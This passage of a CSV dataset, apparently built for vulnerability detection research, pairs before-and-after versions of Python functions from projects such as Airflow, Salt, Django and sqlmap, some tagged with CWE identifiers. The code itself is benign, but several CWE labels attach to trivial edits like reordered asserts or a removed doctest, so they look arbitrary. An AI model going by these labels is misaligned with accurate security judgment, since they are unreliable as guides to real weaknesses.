                err_msg = exc.msg if hasattr(exc, 'msg') else default_msg
                log.debug(exc)
                raise SaltSystemExit(err_msg)

    atexit.register(Disconnect, service_instance)

    return service_instance"
,UNKNOWN,UNKNOWN,providers/tests/apache/hive/macros/test_hive.py,1,"def test_closest_ds_partition(self):
        date1 = datetime.strptime(""2017-04-24"", ""%Y-%m-%d"")
        date2 = datetime.strptime(""2017-04-25"", ""%Y-%m-%d"")
        date3 = datetime.strptime(""2017-04-26"", ""%Y-%m-%d"")
        date4 = datetime.strptime(""2017-04-28"", ""%Y-%m-%d"")
        date5 = datetime.strptime(""2017-04-29"", ""%Y-%m-%d"")
        target_dt = datetime.strptime(""2017-04-27"", ""%Y-%m-%d"")
        date_list = [date1, date2, date3, date4, date5]

        assert str(hive._closest_date(target_dt, date_list, True)) == ""2017-04-26""
        assert str(hive._closest_date(target_dt, date_list, False)) == ""2017-04-28""

        # when before is not set, the closest date should be returned
        assert str(hive._closest_date(target_dt, [date1, date2, date3, date5], None)) == ""2017-04-26""
        assert str(hive._closest_date(target_dt, [date1, date2, date4, date5])) == ""2017-04-28""
        assert str(hive._closest_date(target_dt, date_list)) == ""2017-04-26""",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_closest_ds_partition(self):
        date1 = datetime.strptime(""2017-04-24"", ""%Y-%m-%d"")
        date2 = datetime.strptime(""2017-04-25"", ""%Y-%m-%d"")
        date3 = datetime.strptime(""2017-04-26"", ""%Y-%m-%d"")
        date4 = datetime.strptime(""2017-04-28"", ""%Y-%m-%d"")
        date5 = datetime.strptime(""2017-04-29"", ""%Y-%m-%d"")
        target_dt = datetime.strptime(""2017-04-27"", ""%Y-%m-%d"")
        date_list = [date1, date2, date3, date4, date5]

        assert ""2017-04-26"" == str(hive._closest_date(target_dt, date_list, True))
        assert ""2017-04-28"" == str(hive._closest_date(target_dt, date_list, False))

        # when before is not set, the closest date should be returned
        assert ""2017-04-26"" == str(hive._closest_date(target_dt, [date1, date2, date3, date5], None))
        assert ""2017-04-28"" == str(hive._closest_date(target_dt, [date1, date2, date4, date5]))
        assert ""2017-04-26"" == str(hive._closest_date(target_dt, date_list))"
,UNKNOWN,UNKNOWN,lib/core/decorators.py,1,"def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)):
    """"""
    Method with a cached content

    >>> __ = cachedmethod(lambda _: _)
    >>> __(1)
    1
    >>> __ = cachedmethod(lambda *args, **kwargs: args[0])
    >>> __(2)
    2
    >>> __ = cachedmethod(lambda *args, **kwargs: list(kwargs.values())[0])
    >>> __(foobar=3)
    3

    Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/
    """"""

    @functools.wraps(f)
    def _(*args, **kwargs):
        key = int(hashlib.md5(""|"".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff

        try:
            with _lock:
                result = cache[key]
        except KeyError:
            result = f(*args, **kwargs)

            with _lock:
                cache[key] = result

        return result

    return _",CWE-327,sqlmapproject/sqlmap,f8f57e103082d976fe385adb4706551cafdfbf5e,"def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)):
    """"""
    Method with a cached content

    Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/
    """"""

    @functools.wraps(f)
    def _(*args, **kwargs):
        key = int(hashlib.md5(""|"".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff

        try:
            with _lock:
                result = cache[key]
        except KeyError:
            result = f(*args, **kwargs)

            with _lock:
                cache[key] = result

        return result

    return _"
,UNKNOWN,UNKNOWN,tests/pytests/functional/states/file/test_replace.py,1,"def test_file_replace_prerequired_issues_55775(modules, state_tree, tmp_path):
    """"""
    Test that __prerequired__ is filter from file.replace
    if __prerequired__ is not filter from file.replace an error will be raised
    """"""
    managed_file = tmp_path / ""issue-55775.txt""
    sls_contents = f""""""
    {managed_file}:
      file.managed:
        - contents:
          - foo
    file.replace:
      file.replace:
        - name: {managed_file}
        - pattern: 'foo'
        - repl: 'bar'
        - prereq:
          - test no changes
          - test changes
    test no changes:
      test.succeed_without_changes:
        - name: no changes
    test changes:
      test.succeed_with_changes:
        - name: changes
        - require:
          - test: test no changes
    """"""
    with pytest.helpers.temp_file(""file-replace.sls"", sls_contents, state_tree):
        ret = modules.state.sls(""file-replace"")
        for state_run in ret:
            assert state_run.result is True

    assert managed_file.exists()",CWE-703,saltstack/salt,1144ca66eaa9e1ad9f54fa5da1f084da7d8b4859,"def test_file_replace_prerequired_issues_55775(modules, state_tree, tmp_path):
    """"""
    Test that __prerequired__ is filter from file.replace
    if __prerequired__ is not filter from file.replace an error will be raised
    """"""
    managed_file = tmp_path / ""issue-55775.txt""
    sls_contents = f""""""
    {managed_file}:
      file.managed:
        - contents:
          - foo
    file.replace:
      file.replace:
        - name: {managed_file}
        - pattern: 'foo'
        - repl: 'bar'
        - prereq:
          - test no changes
          - test changes
    test no changes:
      test.succeed_without_changes:
        - name: no changes
    test changes:
      test.succeed_with_changes:
        - name: changes
        - require:
          - test: test no changes
    """"""
    with pytest.helpers.temp_file(""file-replace.sls"", sls_contents, state_tree):
        ret = modules.state.sls(""file-replace"")
        for state_run in ret:
            assert state_run.result is True

    assert managed_file.exists()"
,UNKNOWN,UNKNOWN,tests/regressiontests/comment_tests/tests/moderation_view_tests.py,1,"def testFlagPostNext(self):
        """"""
        POST the flag view, explicitly providing a next url.
        """"""
        comments = self.createSomeComments()
        pk = comments[0].pk
        self.client.login(username=""normaluser"", password=""normaluser"")
        response = self.client.post(""/flag/%d/"" % pk, {'next': ""/go/here/""})
        self.assertEqual(response[""Location""],
            ""http://testserver/go/here/?c=%d"" % pk)",CWE-259,django/django,6e70f67470d6d4baf87728702886f89ac075b73c,"def testFlagPostNext(self):
        """"""
        POST the flag view, explicitly providing a next url.
        """"""
        comments = self.createSomeComments()
        pk = comments[0].pk
        self.client.login(username=""normaluser"", password=""normaluser"")
        response = self.client.post(""/flag/%d/"" % pk, {'next': ""/go/here/""})
        self.assertEqual(response[""Location""],
            ""http://testserver/go/here/?c=1"")"
,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/definitions/asset/__init__.py,1,"def __init__(
        self,
        name: str | None = None,
        uri: str | ObjectStoragePath | None = None,
        *,
        group: str | None = None,
        extra: dict | None = None,
        watchers: list[AssetWatcher | SerializedAssetWatcher] | None = None,
    ) -> None:
        if name is None and uri is None:
            raise TypeError(""Asset() requires either 'name' or 'uri'"")
        if name is None:
            name = str(uri)
        elif uri is None:
            uri = name

        if TYPE_CHECKING:
            assert name is not None
            assert uri is not None

        # attrs default (and factory) does not kick in if any value is given to
        # the argument. We need to exclude defaults from the custom ___init___.
        kwargs: dict[str, Any] = {}
        if group is not None:
            kwargs[""group""] = group
        if extra is not None:
            kwargs[""extra""] = extra
        if watchers is not None:
            kwargs[""watchers""] = watchers

        self.__attrs_init__(name=name, uri=uri, **kwargs)",CWE-703,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def __init__(
        self,
        name: str | None = None,
        uri: str | ObjectStoragePath | None = None,
        *,
        group: str | None = None,
        extra: dict | None = None,
        watchers: list[AssetWatcher | SerializedAssetWatcher] | None = None,
    ) -> None:
        if name is None and uri is None:
            raise TypeError(""Asset() requires either 'name' or 'uri'"")
        elif name is None:
            name = str(uri)
        elif uri is None:
            uri = name

        if TYPE_CHECKING:
            assert name is not None
            assert uri is not None

        # attrs default (and factory) does not kick in if any value is given to
        # the argument. We need to exclude defaults from the custom ___init___.
        kwargs: dict[str, Any] = {}
        if group is not None:
            kwargs[""group""] = group
        if extra is not None:
            kwargs[""extra""] = extra
        if watchers is not None:
            kwargs[""watchers""] = watchers

        self.__attrs_init__(name=name, uri=uri, **kwargs)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,thirdparty/ansistrm/ansistrm.py,0,"def colorize(self, message, levelno):
        if levelno in self.level_map and self.is_tty:
            bg, fg, bold = self.level_map[levelno]
            params = []

            if bg in self.color_map:
                params.append(str(self.color_map[bg] + 40))

            if fg in self.color_map:
                params.append(str(self.color_map[fg] + 30))

            if bold:
                params.append('1')

            if params and message:
                match = re.search(r""\A(\s+)"", message)
                prefix = match.group(1) if match else """"

                match = re.search(r""\[([A-Z ]+)\]"", message)  # log level
                if match:
                    level = match.group(1)
                    if message.startswith(self.bold):
                        message = message.replace(self.bold, """")
                        reset = self.reset + self.bold
                        params.append('1')
                    else:
                        reset = self.reset
                    message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1)

                    match = re.search(r""\A\s*\[([\d:]+)\]"", message)  # time
                    if match:
                        time = match.group(1)
                        message = message.replace(time, ''.join((self.csi, str(self.color_map[""cyan""] + 30), 'm', time, self._reset(message))), 1)

                    match = re.search(r""\[(#\d+)\]"", message)  # counter
                    if match:
                        counter = match.group(1)
                        message = message.replace(counter, ''.join((self.csi, str(self.color_map[""yellow""] + 30), 'm', counter, self._reset(message))), 1)

                    if level != ""PAYLOAD"":
                        if any(_ in message for _ in (""parsed DBMS error message"",)):
                            match = re.search(r"": '(.+)'"", message)
                            if match:
                                string = match.group(1)
                                message = message.replace(""'%s'"" % string, ""'%s'"" % ''.join((self.csi, str(self.color_map[""white""] + 30), 'm', string, self._reset(message))), 1)
                        else:
                            for match in re.finditer(r""[^\w]'([^']+)'"", message):  # single-quoted
                                string = match.group(1)
                                message = message.replace(""'%s'"" % string, ""'%s'"" % ''.join((self.csi, str(self.color_map[""white""] + 30), 'm', string, self._reset(message))), 1)
                else:
                    message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))

                if prefix:
                    message = ""%s%s"" % (prefix, message)

                message = message.replace(""%s]"" % self.bold, ""]%s"" % self.bold)  # dirty patch

        return message",,sqlmapproject/sqlmap,2e53096962bd37339ce7addc72ad0d6c89d3cc96,"def colorize(self, message, levelno):
        if levelno in self.level_map and self.is_tty:
            bg, fg, bold = self.level_map[levelno]
            params = []

            if bg in self.color_map:
                params.append(str(self.color_map[bg] + 40))

            if fg in self.color_map:
                params.append(str(self.color_map[fg] + 30))

            if bold:
                params.append('1')

            if params and message:
                match = re.search(r""\A(\s+)"", message)
                prefix = match.group(1) if match else """"

                match = re.search(r""\[([A-Z ]+)\]"", message)  # log level
                if match:
                    level = match.group(1)
                    if message.startswith(self.bold):
                        message = message.replace(self.bold, """")
                        reset = self.reset + self.bold
                        params.append('1')
                    else:
                        reset = self.reset
                    message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1)

                    match = re.search(r""\A\s*\[([\d:]+)\]"", message)  # time
                    if match:
                        time = match.group(1)
                        message = message.replace(time, ''.join((self.csi, str(self.color_map[""cyan""] + 30), 'm', time, self._reset(message))), 1)

                    match = re.search(r""\[(#\d+)\]"", message)  # counter
                    if match:
                        counter = match.group(1)
                        message = message.replace(counter, ''.join((self.csi, str(self.color_map[""yellow""] + 30), 'm', counter, self._reset(message))), 1)

                    if level != ""PAYLOAD"":
                        if any(_ in message for _ in (""parsed DBMS error message"",)):
                            string = re.search(r"": '(.+)'"", message).group(1)
                            message = message.replace(""'%s'"" % string, ""'%s'"" % ''.join((self.csi, str(self.color_map[""white""] + 30), 'm', string, self._reset(message))), 1)
                        else:
                            for match in re.finditer(r""[^\w]'([^']+)'"", message):  # single-quoted
                                string = match.group(1)
                                message = message.replace(""'%s'"" % string, ""'%s'"" % ''.join((self.csi, str(self.color_map[""white""] + 30), 'm', string, self._reset(message))), 1)
                else:
                    message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))

                if prefix:
                    message = ""%s%s"" % (prefix, message)

                message = message.replace(""%s]"" % self.bold, ""]%s"" % self.bold)  # dirty patch

        return message"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/grep/strange_http_codes.py,0,"def grep(self, request, response):
        '''
        Plugin entry point. Analyze if the HTTP response codes are strange.
        
        @param request: The HTTP request object.
        @param response: The HTTP response object
        @return: None, all results are saved in the kb.
        '''
        if response.getCode() not in self.COMMON_HTTP_CODES:
            
            # I check if the kb already has a info object with this code:
            strange_code_infos = kb.kb.get('strange_http_codes', 'strange_http_codes')
            
            corresponding_info = None
            for info_obj in strange_code_infos:
                if info_obj['code'] == response.getCode():
                    corresponding_info = info_obj
                    break
            
            if corresponding_info:
                # Work with the ""old"" info object:
                id_list = corresponding_info.get_id()
                id_list.append( response.id )
                corresponding_info.set_id( id_list )
                
            else:
                # Create a new info object from scratch and save it to the kb:
                i = info.info()
                i.set_plugin_name(self.get_name())
                i.set_name('Strange HTTP Response code - ' + str(response.getCode()))
                i.setURL( response.getURL() )
                i.set_id( response.id )
                i['code'] = response.getCode()
                desc = 'The remote Web server sent a strange HTTP response code: ""'
                desc += str(response.getCode()) + '"" with the message: ""'+response.getMsg()
                desc += '"", manual inspection is advised.'
                i.set_desc( desc )
                i.addToHighlight( str(response.getCode()), response.getMsg() )
                kb.kb.append( self , 'strange_http_codes' , i )",,andresriancho/w3af,8b82f5b4d839c26a1f3390634f5e9977cfd7db6c,"def grep(self, request, response):
        '''
        Plugin entry point. Analyze if the HTTP response codes are strange.
        
        @param request: The HTTP request object.
        @param response: The HTTP response object
        @return: None, all results are saved in the kb.
        '''
        if response.getCode() not in self.COMMON_HTTP_CODES:
            
            # I check if the kb already has a info object with this code:
            strange_code_infos = kb.kb.get('strange_http_codes', 'strange_http_codes')
            
            corresponding_info = None
            for info_obj in strange_code_infos:
                if info_obj['code'] == response.getCode():
                    corresponding_info = info_obj
                    break
            
            if corresponding_info:
                # Work with the ""old"" info object:
                id_list = corresponding_info.getId()
                id_list.append( response.id )
                corresponding_info.set_id( id_list )
                
            else:
                # Create a new info object from scratch and save it to the kb:
                i = info.info()
                i.setPluginName(self.get_name())
                i.set_name('Strange HTTP Response code - ' + str(response.getCode()))
                i.setURL( response.getURL() )
                i.set_id( response.id )
                i['code'] = response.getCode()
                desc = 'The remote Web server sent a strange HTTP response code: ""'
                desc += str(response.getCode()) + '"" with the message: ""'+response.getMsg()
                desc += '"", manual inspection is advised.'
                i.set_desc( desc )
                i.addToHighlight( str(response.getCode()), response.getMsg() )
                kb.kb.append( self , 'strange_http_codes' , i )"
,UNKNOWN,UNKNOWN,tests/pytests/unit/utils/test_network.py,1,"def test_isportopen_false():
    ret = network.isportopen(""127.0.0.1"", ""66000"")
    assert ret is False",CWE-703,saltstack/salt,ee33df82eb198ea874ce8f527ebe4ba4fb481b9d,"def test_isportopen_false():
    ret = network.isportopen(""127.0.0.1"", ""66000"")
    assert ret is False"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/inventory/data.py,0,"def _create_implicit_localhost(self, pattern):

        if self.localhost:
            new_host = self.localhost
        else:
            new_host = Host(pattern)

            # use 'all' vars but not part of all group
            new_host.vars = self.groups['all'].get_vars()

            new_host.address = ""127.0.0.1""
            new_host.implicit = True

            if ""ansible_python_interpreter"" not in new_host.vars:
                py_interp = sys.executable
                if not py_interp:
                    # sys.executable is not set in some cornercases.  #13585
                    py_interp = '/usr/bin/python'
                    display.warning('Unable to determine python interpreter from sys.executable. Using /usr/bin/python default. '
                                    'You can correct this by setting ansible_python_interpreter for localhost')
                new_host.set_variable(""ansible_python_interpreter"", py_interp)

            if ""ansible_connection"" not in new_host.vars:
                new_host.set_variable(""ansible_connection"", 'local')

            self.localhost = new_host

        return new_host",,ansible/ansible,d36c582787d327401ff1f2afd63027ba58032ff8,"def _create_implicit_localhost(self, pattern):

        if self.localhost:
            new_host = self.localhost
        else:
            new_host = Host(pattern)

            new_host.address = ""127.0.0.1""
            new_host.implicit = True

            if ""ansible_python_interpreter"" not in new_host.vars:
                py_interp = sys.executable
                if not py_interp:
                    # sys.executable is not set in some cornercases.  #13585
                    py_interp = '/usr/bin/python'
                    display.warning('Unable to determine python interpreter from sys.executable. Using /usr/bin/python default. '
                                    'You can correct this by setting ansible_python_interpreter for localhost')
                new_host.set_variable(""ansible_python_interpreter"", py_interp)

            if ""ansible_connection"" not in new_host.vars:
                new_host.set_variable(""ansible_connection"", 'local')

            self.localhost = new_host

        return new_host"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/utils/tests/test_io.py,0,"def test_atomic_writing():
    class CustomExc(Exception): pass

    with TemporaryDirectory() as td:
        f1 = os.path.join(td, 'penguin')
        with stdlib_io.open(f1, 'w') as f:
            f.write(u'Before')
        
        if os.name != 'nt':
            os.chmod(f1, 0o701)
            orig_mode = stat.S_IMODE(os.stat(f1).st_mode)

        f2 = os.path.join(td, 'flamingo')
        try:
            os.symlink(f1, f2)
            have_symlink = True
        except (AttributeError, NotImplementedError, OSError):
            # AttributeError: Python doesn't support it
            # NotImplementedError: The system doesn't support it
            # OSError: The user lacks the privilege (Windows)
            have_symlink = False

        with nt.assert_raises(CustomExc):
            with atomic_writing(f1) as f:
                f.write(u'Failing write')
                raise CustomExc

        # Because of the exception, the file should not have been modified
        with stdlib_io.open(f1, 'r') as f:
            nt.assert_equal(f.read(), u'Before')

        with atomic_writing(f1) as f:
            f.write(u'Overwritten')

        with stdlib_io.open(f1, 'r') as f:
            nt.assert_equal(f.read(), u'Overwritten')

        if os.name != 'nt':
            mode = stat.S_IMODE(os.stat(f1).st_mode)
            nt.assert_equal(mode, orig_mode)

        if have_symlink:
            # Check that writing over a file preserves a symlink
            with atomic_writing(f2) as f:
                f.write(u'written from symlink')
            
            with stdlib_io.open(f1, 'r') as f:
                nt.assert_equal(f.read(), u'written from symlink')",,jupyter/notebook,0d9b7597c3f5f2efa7c46aad0abe81f7b2161372,"def test_atomic_writing():
    class CustomExc(Exception): pass

    with TemporaryDirectory() as td:
        f1 = os.path.join(td, 'penguin')
        with stdlib_io.open(f1, 'w') as f:
            f.write(u'Before')
        
        if os.name != 'nt':
            os.chmod(f1, 0o701)
            orig_mode = stat.S_IMODE(os.stat(f1).st_mode)

        f2 = os.path.join(td, 'flamingo')
        try:
            os.symlink(f1, f2)
            have_symlink = True
        except (AttributeError, NotImplementedError):
            have_symlink = False

        with nt.assert_raises(CustomExc):
            with atomic_writing(f1) as f:
                f.write(u'Failing write')
                raise CustomExc

        # Because of the exception, the file should not have been modified
        with stdlib_io.open(f1, 'r') as f:
            nt.assert_equal(f.read(), u'Before')

        with atomic_writing(f1) as f:
            f.write(u'Overwritten')

        with stdlib_io.open(f1, 'r') as f:
            nt.assert_equal(f.read(), u'Overwritten')

        if os.name != 'nt':
            mode = stat.S_IMODE(os.stat(f1).st_mode)
            nt.assert_equal(mode, orig_mode)

        if have_symlink:
            # Check that writing over a file preserves a symlink
            with atomic_writing(f2) as f:
                f.write(u'written from symlink')
            
            with stdlib_io.open(f1, 'r') as f:
                nt.assert_equal(f.read(), u'written from symlink')"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/archive.py,0,"def __virtual__():
    commands = ('tar', 'gzip', 'gunzip', 'zip', 'unzip', 'rar', 'unrar')
    # If none of the above commands are in $PATH this module is a no-go
    if not any(_which(cmd) for cmd in commands):
        return False
    return 'archive'",,saltstack/salt,2043c1c33f5d1e5fe68a7e6567c6d905960a8a18,"def __virtual__():
    commands = ('tar', 'gzip', 'gunzip', 'zip', 'unzip', 'rar', 'unrar')
    # If none of the above commands are in $PATH this module is a no-go
    if not any(_which(cmd) for cmd in commands):
        return False
    return 'archive'"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/query.py,1,"def _get_sql_clause(self):
            from django.db.models.query import fill_table_cache, \
                handle_legacy_orderlist, orderfield2column

            opts = self.model._meta

            # Construct the fundamental parts of the query: SELECT X FROM Y WHERE Z.
            select = [""%s.%s"" % (backend.quote_name(opts.db_table), backend.quote_name(f.column)) for f in opts.fields]
            tables = [quote_only_if_word(t) for t in self._tables]
            joins = SortedDict()
            where = self._where[:]
            params = self._params[:]

            # Convert self._filters into SQL.
            joins2, where2, params2 = self._filters.get_sql(opts)
            joins.update(joins2)
            where.extend(where2)
            params.extend(params2)

            # Add additional tables and WHERE clauses based on select_related.
            if self._select_related:
                fill_table_cache(opts, select, tables, where, opts.db_table, [opts.db_table])

            # Add any additional SELECTs.
            if self._select:
                select.extend(['(%s) AS %s' % (quote_only_if_word(s[1]), backend.quote_name(s[0])) for s in self._select.items()])

            # Start composing the body of the SQL statement.
            sql = ["" FROM"", backend.quote_name(opts.db_table)]

            # Compose the join dictionary into SQL describing the joins.
            if joins:
                sql.append("" "".join([""%s %s %s ON %s"" % (join_type, table, alias, condition)
                                for (alias, (table, join_type, condition)) in joins.items()]))

            # Compose the tables clause into SQL.
            if tables:
                sql.append("", "" + "", "".join(tables))

            # Compose the where clause into SQL.
            if where:
                sql.append(where and ""WHERE "" + "" AND "".join(where))

            # ORDER BY clause
            order_by = []
            if self._order_by is not None:
                ordering_to_use = self._order_by
            else:
                ordering_to_use = opts.ordering
            for f in handle_legacy_orderlist(ordering_to_use):
                if f == '?': # Special case.
                    order_by.append(backend.get_random_function_sql())
                else:
                    if f.startswith('-'):
                        col_name = f[1:]
                        order = ""DESC""
                    else:
                        col_name = f
                        order = ""ASC""
                    if ""."" in col_name:
                        table_prefix, col_name = col_name.split('.', 1)
                        table_prefix = backend.quote_name(table_prefix) + '.'
                    else:
                        # Use the database table as a column prefix if it wasn't given,
                        # and if the requested column isn't a custom SELECT.
                        if ""."" not in col_name and col_name not in (self._select or ()):
                            table_prefix = backend.quote_name(opts.db_table) + '.'
                        else:
                            table_prefix = ''
                    order_by.append('%s%s %s' % (table_prefix, backend.quote_name(orderfield2column(col_name, opts)), order))
            if order_by:
                sql.append(""ORDER BY "" + "", "".join(order_by))

            # Look for column name collisions in the select elements
            # and fix them with an AS alias.  This allows us to do a
            # SELECT * later in the paging query.
            cols = [clause.split('.')[-1] for clause in select]
            for index, col in enumerate(cols):
                if cols.count(col) > 1:
                    col = '%s%d' % (col.replace('""', ''), index)
                    cols[index] = col
                    select[index] = '%s AS %s' % (select[index], col)

            # LIMIT and OFFSET clauses
            # To support limits and offsets, Oracle requires some funky rewriting of an otherwise normal looking query.
            select_clause = "","".join(select)
            distinct = (self._distinct and ""DISTINCT "" or """")

            if order_by:
                order_by_clause = "" OVER (ORDER BY %s )"" % ("", "".join(order_by))
            else:
                #Oracle's row_number() function always requires an order-by clause.
                #So we need to define a default order-by, since none was provided.
                order_by_clause = "" OVER (ORDER BY %s.%s)"" % \
                    (backend.quote_name(opts.db_table),
                    backend.quote_name(opts.fields[0].db_column or opts.fields[0].column))
            # limit_and_offset_clause
            if self._limit is None:
                assert self._offset is None, ""'offset' is not allowed without 'limit'""

            if self._offset is not None:
                offset = int(self._offset)
            else:
                offset = 0
            if self._limit is not None:
                limit = int(self._limit)
            else:
                limit = None

            limit_and_offset_clause = ''
            if limit is not None:
                limit_and_offset_clause = ""WHERE rn > %s AND rn <= %s"" % (offset, limit+offset)
            elif offset:
                limit_and_offset_clause = ""WHERE rn > %s"" % (offset)

            if len(limit_and_offset_clause) > 0:
                fmt = \
""""""SELECT * FROM
  (SELECT %s%s,
          ROW_NUMBER()%s AS rn
   %s)
%s""""""
                full_query = fmt % (distinct, select_clause,
                                    order_by_clause, ' '.join(sql).strip(),
                                    limit_and_offset_clause)
            else:
                full_query = None

            return select, "" "".join(sql), params, full_query",CWE-703,django/django,68aaa5df72ba3002f822e97f986e049d8a86613c,"def _get_sql_clause(self):
            from django.db.models.query import fill_table_cache, \
                handle_legacy_orderlist, orderfield2column

            opts = self.model._meta

            # Construct the fundamental parts of the query: SELECT X FROM Y WHERE Z.
            select = [""%s.%s"" % (backend.quote_name(opts.db_table), backend.quote_name(f.column)) for f in opts.fields]
            tables = [quote_only_if_word(t) for t in self._tables]
            joins = SortedDict()
            where = self._where[:]
            params = self._params[:]

            # Convert self._filters into SQL.
            joins2, where2, params2 = self._filters.get_sql(opts)
            joins.update(joins2)
            where.extend(where2)
            params.extend(params2)

            # Add additional tables and WHERE clauses based on select_related.
            if self._select_related:
                fill_table_cache(opts, select, tables, where, opts.db_table, [opts.db_table])

            # Add any additional SELECTs.
            if self._select:
                select.extend(['(%s) AS %s' % (quote_only_if_word(s[1]), backend.quote_name(s[0])) for s in self._select.items()])

            # Start composing the body of the SQL statement.
            sql = ["" FROM"", backend.quote_name(opts.db_table)]

            # Compose the join dictionary into SQL describing the joins.
            if joins:
                sql.append("" "".join([""%s %s %s ON %s"" % (join_type, table, alias, condition)
                                for (alias, (table, join_type, condition)) in joins.items()]))

            # Compose the tables clause into SQL.
            if tables:
                sql.append("", "" + "", "".join(tables))

            # Compose the where clause into SQL.
            if where:
                sql.append(where and ""WHERE "" + "" AND "".join(where))

            # ORDER BY clause
            order_by = []
            if self._order_by is not None:
                ordering_to_use = self._order_by
            else:
                ordering_to_use = opts.ordering
            for f in handle_legacy_orderlist(ordering_to_use):
                if f == '?': # Special case.
                    order_by.append(backend.get_random_function_sql())
                else:
                    if f.startswith('-'):
                        col_name = f[1:]
                        order = ""DESC""
                    else:
                        col_name = f
                        order = ""ASC""
                    if ""."" in col_name:
                        table_prefix, col_name = col_name.split('.', 1)
                        table_prefix = backend.quote_name(table_prefix) + '.'
                    else:
                        # Use the database table as a column prefix if it wasn't given,
                        # and if the requested column isn't a custom SELECT.
                        if ""."" not in col_name and col_name not in (self._select or ()):
                            table_prefix = backend.quote_name(opts.db_table) + '.'
                        else:
                            table_prefix = ''
                    order_by.append('%s%s %s' % (table_prefix, backend.quote_name(orderfield2column(col_name, opts)), order))
            if order_by:
                sql.append(""ORDER BY "" + "", "".join(order_by))

            # LIMIT and OFFSET clauses
            # To support limits and offsets, Oracle requires some funky rewriting of an otherwise normal looking query.
            select_clause = "","".join(select)
            distinct = (self._distinct and ""DISTINCT "" or """")

            if order_by:
                order_by_clause = "" OVER (ORDER BY %s )"" % ("", "".join(order_by))
            else:
                #Oracle's row_number() function always requires an order-by clause.
                #So we need to define a default order-by, since none was provided.
                order_by_clause = "" OVER (ORDER BY %s.%s)"" % \
                    (backend.quote_name(opts.db_table),
                    backend.quote_name(opts.fields[0].db_column or opts.fields[0].column))
            # limit_and_offset_clause
            if self._limit is None:
                assert self._offset is None, ""'offset' is not allowed without 'limit'""

            if self._offset is not None:
                offset = int(self._offset)
            else:
                offset = 0
            if self._limit is not None:
                limit = int(self._limit)
            else:
                limit = None

            limit_and_offset_clause = ''
            if limit is not None:
                limit_and_offset_clause = ""WHERE rn > %s AND rn <= %s"" % (offset, limit+offset)
            elif offset:
                limit_and_offset_clause = ""WHERE rn > %s"" % (offset)

            if len(limit_and_offset_clause) > 0:
                fmt = \
""""""SELECT * FROM
  (SELECT %s%s,
          ROW_NUMBER()%s AS rn
   %s)
%s""""""
                full_query = fmt % (distinct, select_clause,
                                    order_by_clause, ' '.join(sql).strip(),
                                    limit_and_offset_clause)
            else:
                full_query = None

            return select, "" "".join(sql), params, full_query"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,examples/rest_api/mlflow_tracking_rest_api.py,0,"def create_run(self):
		""""""Create a new run for tracking.""""""
		url = self.base_url + '/runs/create'
		# user_id is deprecated and will be removed from the API in a future release  
		payload = {'experiment_id': self.experiment_id, 'start_time': int(time.time() * 1000), 'user_id': _get_user_id()}
		r = requests.post(url, json=payload)
		run_id = None
		if r.status_code == 200:
			run_id = r.json()['run']['info']['run_uuid']
		else:
			print(""Creating run failed!"")
		return run_id",,mlflow/mlflow,a8e7e430601f94b2db81b127c790f79194acb67a,"def create_run(self):
		""""""Create a new run for tracking.""""""
		url = self.base_url + '/runs/create'
		# user_id is deprecated and will be removed from the API in a future release  
		payload = {'experiment_id': self.experiment_id, 'start_time': int(time.time() * 1000), 'user_id': _get_user_id()}
		r = requests.post(url, json=payload)
		run_id = None
		if r.status_code == 200:
			run_id = r.json()['run']['info']['run_id']
		else:
			print(""Creating run failed!"")
		return run_id"
,UNKNOWN,UNKNOWN,tests/unit/utils/test_parsers.py,1,"def test_pid_deleted_oserror_as_non_root(self):
        '''
        PIDfile deletion with exception, running as non-root.
        '''
        if salt.utils.platform.is_windows():
            patch_args = ('salt.utils.win_functions.is_admin',
                          MagicMock(return_value=False))
        else:
            patch_args = ('os.getuid', MagicMock(return_value=1000))

        with patch(*patch_args):
            self.daemon_mixin._mixin_before_exit()
            assert salt.utils.parsers.os.unlink.call_count == 1
            salt.utils.parsers.logger.info.assert_not_called()
            salt.utils.parsers.logger.debug.assert_not_called()",CWE-703,saltstack/salt,0e5bc67d4b50627ac84943ca81da52eab22376cd,"def test_pid_deleted_oserror_as_non_root(self):
        '''
        PIDfile deletion with exception, running as non-root.
        '''
        if salt.utils.platform.is_windows():
            patch_args = ('salt.utils.win_functions.is_admin',
                          MagicMock(return_value=False))
        else:
            patch_args = ('os.getuid', MagicMock(return_value=1000))

        with patch(*patch_args):
            self.daemon_mixin._mixin_before_exit()
            assert salt.utils.parsers.os.unlink.call_count == 1
            salt.utils.parsers.logger.info.assert_not_called()
            salt.utils.parsers.logger.debug.assert_not_called()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/win_service.py,0,"def stop(name):
    '''
    Stop the specified service

    Args:
        name (str): The name of the service to stop

    Returns:
        bool: True if successful, False otherwise

    CLI Example:

    .. code-block:: bash

        salt '*' service.stop <service name>
    '''
    # net stop issues a stop command and waits briefly (~30s), but will give
    # up if the service takes too long to stop with a misleading
    # ""service could not be stopped"" message and RC 0.

    cmd = ['net', 'stop', '/y', name]
    res = __salt__['cmd.run'](cmd, python_shell=False)
    if 'service was stopped' in res:
        return True

    try:
        win32serviceutil.StopService(name)
    except pywintypes.error as exc:
